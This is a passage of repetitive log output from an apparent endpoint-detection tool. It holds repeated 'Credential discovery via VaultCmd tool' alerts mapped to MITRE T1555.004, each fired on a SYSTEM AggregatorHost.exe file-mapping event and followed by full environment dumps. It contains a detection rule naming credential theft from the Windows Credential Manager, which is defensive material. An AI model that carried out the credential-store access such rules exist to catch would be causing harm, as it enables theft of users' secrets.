Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T00:03:40+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 5475479 + Pid: 8288 + Tid: 2988 + Type: MapViewFile + CPU: 0 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 00:03:30.8713601 +0100 CET + Params: file_key➜ ffff808ce25f1670, offset➜ 0, pid➜ 8288, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 27b1aad0000, view_size➜ 327680 + Metadata: tactic.name: Credential Access, rule.name: Credential discovery via VaultCmd tool, tactic.id: TA0006, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/ + + Pid: 8288 + Ppid: 4632 + Name: AggregatorHost.exe + Parent name: svchost.exe + Cmdline: AggregatorHost.exe + Parent cmdline: C:\WINDOWS\System32\svchost.exe -k utcsvc -p + Exe: C:\Windows\System32\AggregatorHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [AggregatorHost.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DiagTrackFeedbackArchive:C:\ProgramData\Microsoft\Diagnosis\FeedbackArchive DiagTrackSystemPartition:Volume{d023a78b-4d29-46cf-ba5e-37a2e88ec951} DiagtrackRegistryRoot:SOFTWARE\Microsoft\Windows\CurrentVersion\Diagnostics\DiagTrack DiagtrackStorageRoot:C:\ProgramData\Microsoft\Diagnosis DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T00:03:40+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 5476270 + Pid: 8288 + Tid: 2988 + Type: MapViewFile + CPU: 4 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 00:03:31.4850334 +0100 CET + Params: file_key➜ ffff808cf8035490, offset➜ 0, pid➜ 8288, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 27b1b580000, view_size➜ 331776 + Metadata: tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, rule.name: Credential discovery via VaultCmd tool, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/ + + Pid: 8288 + Ppid: 4632 + Name: AggregatorHost.exe + Parent name: svchost.exe + Cmdline: AggregatorHost.exe + Parent cmdline: C:\WINDOWS\System32\svchost.exe -k utcsvc -p + Exe: C:\Windows\System32\AggregatorHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [AggregatorHost.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DiagTrackFeedbackArchive:C:\ProgramData\Microsoft\Diagnosis\FeedbackArchive DiagTrackSystemPartition:Volume{d023a78b-4d29-46cf-ba5e-37a2e88ec951} DiagtrackRegistryRoot:SOFTWARE\Microsoft\Windows\CurrentVersion\Diagnostics\DiagTrack DiagtrackStorageRoot:C:\ProgramData\Microsoft\Diagnosis DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T00:03:40+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 5476790 + Pid: 8288 + Tid: 2988 + Type: MapViewFile + CPU: 0 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 00:03:31.7852261 +0100 CET + Params: file_key➜ ffff808cf80d9c20, offset➜ 0, pid➜ 8288, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 27b1aad0000, view_size➜ 323584 + Metadata: subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, subtechnique.name: Windows Credential Manager, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, tactic.id: TA0006, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, rule.name: Credential discovery via VaultCmd tool + + Pid: 8288 + Ppid: 4632 + Name: AggregatorHost.exe + Parent name: svchost.exe + Cmdline: AggregatorHost.exe + Parent cmdline: C:\WINDOWS\System32\svchost.exe -k utcsvc -p + Exe: C:\Windows\System32\AggregatorHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [AggregatorHost.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DiagTrackFeedbackArchive:C:\ProgramData\Microsoft\Diagnosis\FeedbackArchive DiagTrackSystemPartition:Volume{d023a78b-4d29-46cf-ba5e-37a2e88ec951} DiagtrackRegistryRoot:SOFTWARE\Microsoft\Windows\CurrentVersion\Diagnostics\DiagTrack DiagtrackStorageRoot:C:\ProgramData\Microsoft\Diagnosis DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T00:03:40+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 5477239 + Pid: 8288 + Tid: 2988 + Type: MapViewFile + CPU: 0 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 00:03:32.4125074 +0100 CET + Params: file_key➜ ffff808ce25f1670, offset➜ 0, pid➜ 8288, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 27b1b580000, view_size➜ 339968 + Metadata: subtechnique.id: T1555.004, tactic.ref: https://attack.mitre.org/tactics/TA0006/, rule.name: Credential discovery via VaultCmd tool, tactic.name: Credential Access, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.id: T1555, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 8288 + Ppid: 4632 + Name: AggregatorHost.exe + Parent name: svchost.exe + Cmdline: AggregatorHost.exe + Parent cmdline: C:\WINDOWS\System32\svchost.exe -k utcsvc -p + Exe: C:\Windows\System32\AggregatorHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [AggregatorHost.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DiagTrackFeedbackArchive:C:\ProgramData\Microsoft\Diagnosis\FeedbackArchive DiagTrackSystemPartition:Volume{d023a78b-4d29-46cf-ba5e-37a2e88ec951} DiagtrackRegistryRoot:SOFTWARE\Microsoft\Windows\CurrentVersion\Diagnostics\DiagTrack DiagtrackStorageRoot:C:\ProgramData\Microsoft\Diagnosis DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T00:03:40+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 5477561 + Pid: 8288 + Tid: 2988 + Type: MapViewFile + CPU: 0 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 00:03:32.7267192 +0100 CET + Params: file_key➜ ffff808cf80d9c20, offset➜ 0, pid➜ 8288, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 27b1b580000, view_size➜ 339968 + Metadata: subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.name: Credential Access, tactic.id: TA0006, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, technique.name: Credentials from Password Stores, rule.name: Credential discovery via VaultCmd tool, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 8288 + Ppid: 4632 + Name: AggregatorHost.exe + Parent name: svchost.exe + Cmdline: AggregatorHost.exe + Parent cmdline: C:\WINDOWS\System32\svchost.exe -k utcsvc -p + Exe: C:\Windows\System32\AggregatorHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [AggregatorHost.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DiagTrackFeedbackArchive:C:\ProgramData\Microsoft\Diagnosis\FeedbackArchive DiagTrackSystemPartition:Volume{d023a78b-4d29-46cf-ba5e-37a2e88ec951} DiagtrackRegistryRoot:SOFTWARE\Microsoft\Windows\CurrentVersion\Diagnostics\DiagTrack DiagtrackStorageRoot:C:\ProgramData\Microsoft\Diagnosis DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T00:03:40+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 5477635 + Pid: 8288 + Tid: 2988 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 00:03:33.3452491 +0100 CET + Params: file_key➜ ffff808ce25f1670, offset➜ 0, pid➜ 8288, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 27b1b580000, view_size➜ 331776 + Metadata: technique.name: Credentials from Password Stores, tactic.name: Credential Access, subtechnique.id: T1555.004, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, rule.name: Credential discovery via VaultCmd tool, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555 + + Pid: 8288 + Ppid: 4632 + Name: AggregatorHost.exe + Parent name: svchost.exe + Cmdline: AggregatorHost.exe + Parent cmdline: C:\WINDOWS\System32\svchost.exe -k utcsvc -p + Exe: C:\Windows\System32\AggregatorHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [AggregatorHost.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DiagTrackFeedbackArchive:C:\ProgramData\Microsoft\Diagnosis\FeedbackArchive DiagTrackSystemPartition:Volume{d023a78b-4d29-46cf-ba5e-37a2e88ec951} DiagtrackRegistryRoot:SOFTWARE\Microsoft\Windows\CurrentVersion\Diagnostics\DiagTrack DiagtrackStorageRoot:C:\ProgramData\Microsoft\Diagnosis DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T00:03:40+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 5481045 + Pid: 8288 + Tid: 2988 + Type: MapViewFile + CPU: 4 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 00:03:34.5903227 +0100 CET + Params: file_key➜ ffff808cf80d9c20, offset➜ 0, pid➜ 8288, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 27b1aad0000, view_size➜ 315392 + Metadata: subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, rule.name: Credential discovery via VaultCmd tool, technique.id: T1555, technique.name: Credentials from Password Stores, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access + + Pid: 8288 + Ppid: 4632 + Name: AggregatorHost.exe + Parent name: svchost.exe + Cmdline: AggregatorHost.exe + Parent cmdline: C:\WINDOWS\System32\svchost.exe -k utcsvc -p + Exe: C:\Windows\System32\AggregatorHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [AggregatorHost.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DiagTrackFeedbackArchive:C:\ProgramData\Microsoft\Diagnosis\FeedbackArchive 